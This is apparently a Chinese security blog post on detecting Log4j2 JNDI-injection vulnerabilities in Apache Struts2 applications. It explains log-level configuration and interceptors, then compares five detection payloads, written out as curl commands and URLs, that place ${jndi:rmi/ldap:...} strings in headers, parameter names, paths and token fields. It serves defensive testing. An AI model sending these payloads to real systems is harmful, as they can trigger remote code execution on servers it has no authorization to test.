Part1 前言
Log4j2漏洞出现有大半年的时间了,这个核弹级别的漏洞危害很大,但是这个漏洞检测起来却很麻烦,因为黑盒测试无法预判网站哪个应用功能在后台调用了log4j2记录日志功能。目前通用的做法就是使用burpsuite插件进行被动扫描,原理就是把所有与用户交互参数都用各种log4j2检测payload测试一遍,然后观察DNSlog中有没有访问记录。这个漏洞检测方法和SQL注入、XSS漏洞有点像,常规方法很难完全发现漏洞,有时候就连研发人员自己也搞不清楚哪些应用功能点调用了log4j2,所以这个漏洞在相当长的时间里会一直存在。
在这里面要特别说明一下,burpsuite的被动插件扫描的方式,并不能完全发现Log4j2漏洞,因为有的log4j2漏洞需要特定的条件才能触发,有时候需要手工构造一个特殊URL路径,有时候需要发送一些框架特有的参数、消息头等等,有的框架如Struts2、Spring等需要构造特殊的数据包才能触发log4j2漏洞。网上有很多Struts2下log4j2漏洞检测专项方法,但是貌似并没有引起大家的重视。我大概有4、5年没看过Struts2框架的代码了,但毕竟对Struts2漏洞有感情了,所以就各种搜索把网上的各种检测方式汇总起来,搭建环境,跟踪代码,对各种检测方法进行对比,最后给出2个可靠好用的检测Struts2框架下Log4j2漏洞的方法。
Part2 技术研究过程
- Struts2与log4j2日志级别配置
如下图所示,这是log4j2组件中关于日志级别的定义。日志输出级别共有8个,按照优先级从低到高为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
接下来还要重点关注Struts2框架中log4j2.xml文件的配置,主要看<Logger name="org.apache.struts2" level="info"/>这部分内容,因为几乎所有的Struts2框架中的log4j2代码执行漏洞,都在org.apache.struts2路径下,观察其配置的是info级别、还是warn级别,还是debug级别。这个级别对应的数字值越高,则越有可能触发log4j2漏洞。如果Logger 配置的是info级别,由于info优先级比debug高,所以debug级别的log4j2的各种POC都没法执行,这也是为什么同样的log4j2的POC,有的网友本地环境能测试成功,有的不能成功,这是因为对于org.apache.struts2路径日志级别配置有所不同。
- Struts2拦截器简介
要想理解Struts2框架下log4j2漏洞检测方法,首先需要了解一下Struts2的拦截器。当时Log4j2漏洞刚爆出的时候,我就感觉Struts2的拦截器中应该会有log4j2漏洞,因为所有的用户请求都会经过拦截器去处理,拦截器栈上那么多拦截器实现,其中肯定有各种log输出功能,所以应该会有漏洞。
1. 请求先到达Filter中央控制器;2. 然后为Action创建代理类;3. 将各个服务存放在拦截器中,执行完拦截器后再去执行action类,action类调用service,再调用dao;4. 得到结果字符串,创建result对象;5. 转向相应的视图。
归纳为一点:Struts2几乎所有的请求,都会经过拦截器栈的处理,拦截器栈上有各种各样的拦截器,而有的拦截器调用了log4j2输出日志功能,我们只需构造符合要求的http请求,就会触发Log4j2漏洞。接下来看看网上收集到的5个漏洞检测poc,挨个看一下,从中挑选比较好的检测POC,以便在日常工作中事半功倍。
- 方法1:静态文件If-Modified-Since头
此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:
curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js
检测原理:warn级别,当用户访问Struts2框架的静态文件时,如果请求头If-Modified-Since的值为非Date型,将会触发log.warn(),导致log4j2代码执行漏洞。
优缺点:这是我个人比较推荐的一种检测方法。首先,它的日志级别是Log.warn(),比log.debug()写法优先级要高,因此成功率更大一些。其次/struts/utils.js 这个文件是多数Struts2框架内置的静态文件。但缺点是,不是所有版本的struts2 jar包中都存在这个静态文件,很多低版本的jar包中并不存在,所以这个方法需要总结出能够涵盖多个不同版本的Struts2框架的静态文件路径才行。
如下图所示,2.0.11版本jar包中不存在utils.js文件:
如下图所示,而2.5.13版本的jar包中存在utils.js这个文件:
- 方法2:检查请求参数长度
此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:
http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
检测原理:debug级别,访问一个存在的Struts2框架的action地址,Struts2框架会检查请求参数名的长度,若长度超过默认的100个字符,请求参数名则会输出到debug日志中,触发log4j2漏洞。
优缺点:这个方法测试效果不错,更重要的是同时支持GET请求和POST请求,在将来遇到WAF设备拦截时,可以用更多的手段去绕过waf设备拦截。缺点是日志级别的优先级是debug。
- 方法3:检查请求路径触发
此检测payload摘自p1ay2win 天玄安全实验室原创,检测payload如下:
http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
本地测试怎么都测试不成功,发现需要将rmi替换成ldap
http://localhost:8080/helloworld_war/$%7Bjndi:ldap:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
检测原理:warn级别,Struts2框架下URL路径的action名如果不在[a-zA-Z0-9._!/\-]范围以内,将会触发 LOG.warn(),导致log4j2代码执行漏洞。
优缺点:第一眼看到上述POC,就感觉检测payload中那几个反斜杠肯定会导致POC不能正常执行。但是文章作者给出了一个很好的解决方法:“在请求路径中两个相邻的/会被转换为一个/,将其中一个/替换为${::-/}可防止被转换”。缺点是有的版本Struts2框架中DefaultActionMapper类中没有cleanupActionName方法,导致此流程的log4j2不能用。
- 方法4:checkbox 拦截器
此检测方法摘自安全客saound的检测方法,检测payload如下:
http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b
检测原理:debug级别,这个检测方法,基于struts2自带的拦截器,当请求参数名以 __checkbox_ 开始并且重复定义时,会进入log4j2记录分支,执行LOG.debug()执行,故构造请求如下:
优缺点:方法挺好的,唯一的缺点就是日志级别是debug级别的。
2.3.14.2版本代码如下:
2.5.12版本代码如下:
- 方法5:struts.token.name
此payload收集于网络,原创作者不知道是谁,检测payload如下:
http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'
优缺点:debug级别,这个payload看起来不错,构造简单,编写脚本去扫描也比较省事。通过struts.token.name可知,我猜触发点应该是在token拦截器中。我本地经过测试,大致判断应该是log.debug级别的,这里就不详细分析了。
综上所述,最终通过对比这5个检测payload,个人结论是方法1:获取静态文件If-Modified-Since头”这种方法成功率更高一些,其次是方法3:检测请求路径触发。目前放出的检测POC,也仅有这两个payload是WARN级别的,所以它是成功率较高的检测POC。缺点是,对于不了解Struts2框架的新手,定位静态文件是个麻烦事,写扫描规则也麻烦。
- 编写检测工具融合payload
为了避免人为记录DNSLog的嫌疑,我没有在工具中使用DNSLog的api接口,大家需要手工设置自己的log4j2 DNSlog地址。注意,我写的工具这里的“Log4j2 DNSLog地址:”这个检测功能,只针对Struts2框架下的log4j2检测功能,并不通用所有的log4j2漏洞检测。
Part3 总结
1. 网上的针对Struts2框架下log4j2漏洞的检测POC,触发点目前看来就是2种,log.warn()或者是log.debug(),那么优先选择触发点在log.warn()的检测payload。
2. 了解一下log4j2漏洞的原理,可以避免在实战中做很多的无用功。使用“静态文件If-Modified-Since头”这种检测方法时,要注意Struts2框架自带静态文件的正确URL位置,不要生搬硬套检测POC。
参考链接:
https://www.anquanke.com/post/id/262852
https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg
https://blog.csdn.net/weixin_39604280/article/details/111104622
公众号专注于网络安全技术分享,包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等,每周一篇,99%原创,敬请关注。
Contact me: 0day123abc#gmail.com(replace # with @)